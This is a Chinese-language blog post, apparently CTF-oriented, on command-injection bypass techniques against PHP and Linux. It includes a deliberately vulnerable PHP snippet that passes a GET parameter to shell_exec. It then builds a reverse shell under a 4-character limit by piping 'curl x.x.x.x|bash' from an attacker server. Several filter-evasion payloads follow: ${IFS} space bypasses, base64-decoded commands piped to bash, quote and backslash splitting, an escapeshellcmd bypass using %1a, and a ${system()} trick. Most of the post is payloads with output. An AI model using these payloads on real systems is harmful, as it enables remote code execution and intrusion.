突破命令长度限制
限制条件:长度<=4
限制代码:
<?php
show_source(__FILE__);
error_reporting(0);
if(strlen($_GET[1])<=4){
echo shell_exec($_GET[1]);
}
else{
echo "hack!!!";
}
?>
命令执行
先看效果图:
原理
>
后面跟的文件名,可以生成一个以这个字符串命名的文件*
可以将文件名(按首字母排序)列出来当一行命令执行*v
匹配当前目录下以v
结尾的的文件名,*v
=rev v
,输出v
文件内容里面内容的反序结果,>cat|*t
同理dir a b>c
只会将a b
写到文件c
中
反弹shell
先看效果图:
获取ls -th >g
命令
获取curl x.x.x.x|bash
命令
>cu\\
这里看着是5个字符,超过了4个的限制,实际上是因为 shell环境需要输入\\
产生\
,但是php
代码exec
时,只需要输入\
即可产生\
,比如 exec(">cu\")
即可。所以这里实际上是不超过4个字符的,为了演示直观,在shell
中直接执行
执行结果:
原理
ls -t
按时间顺序排列文件,ls -th
不影响命令执行,为了让倒序的时候ht-
在sl
前面\
linux
下行末加上\
会将该行末尾与下一行行首连接起来,简单来说应该是删掉了换行符
这里需要注意,文件名中不能包含/
这个符号的,所以需要将反弹shell的服务器根目录下默认网页设置成curl下反弹shell的命令的网页
例如我ubuntu服务器的Apache默认网页设置在/etc/apache2/mods-available/dir.conf
中,编辑如下
1.txt中为反弹shell的命令,这样即可成功执行
或者你改index.html的内容也行
绕过空格
- ${PS2} 对应字符 ‘>’
- ${PS4} 对应字符 ‘+’
- ${IFS} 对应 内部字段分隔符
- ${9} 对应 空字符串
${IFS}
linux@Extrader:/var/www/html$ cat /flag
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ cat${IFS}/flag
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ cat${IFS}$9/flag
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ cat$IFS$9/flag
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
php下可以cat%09/flag
<>
linux@Extrader:/var/www/html$ cat</flag
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
黑名单绕过
拼接
linux@Extrader:/var/www/html$ a=c;b=at;c=/flag;$a$b $c
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
base64编码
linux@Extrader:/var/www/html$ `echo "Y2F0IC9mbGFn"|base64 -d`
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ echo "Y2F0IC9mbGFn"|base64 -d|bash
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
单引号、双引号
linux@Extrader:/var/www/html$ c""at /flag
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ c""at /fl""ag
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ c""at /fl''ag
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
反斜线 \
linux@Extrader:/var/www/html$ ca\t /fl\ag
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
文件读取
linux@Extrader:/var/www/html$ cat /flag # 连接文件并打印到标准输出设备上
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ rev /flag # 将文件内容以字符为单位反序输出
}e32de3e34-g45t4d2-45gt532-34f32e3{galf
linux@Extrader:/var/www/html$ more /flag # 显示文件内容,每次显示一屏
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ tail /flag # 在屏幕上显示指定文件的末尾若干行
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ less /flag # 分屏上下翻页浏览文件内容
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ head /flag # 在屏幕上显示指定文件的开头若干行
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ tac /flag # 将文件以行为单位的反序输出
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ sort /flag # 将文件进行排序并输出
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ nl /flag # 在Linux系统中计算文件内容行号
1 flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ hexdump /flag #显示文件十六进制格式
0000000 6c66 6761 337b 3265 6633 3334 322d 3533
0000010 6774 3435 322d 3464 3574 6734 342d 6533
0000020 6533 3264 6533 0a7d
0000028
linux@Extrader:/var/www/html$ cat /fl*
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
linux@Extrader:/var/www/html$ cat /fla?
flag{3e23f43-235tg54-2d4t54g-43e3ed23e}
绕过escapeshellcmd
测试代码:
<?php
$command = 'dir '.$_POST['dir'];
$escaped_command = escapeshellcmd($command);
var_dump($escaped_command);
file_put_contents('out.bat',$escaped_command);
system('out.bat');
?>
执行.bat
文件的时候,利用%1a
,可以绕过过滤执行命令。
payload
dir=. %1a whoami
${}执行代码
php > ${system('whoami')};
extrader\extrader
若没有本文 Issue,您可以使用 Comment 模版新建。
GitHub Issues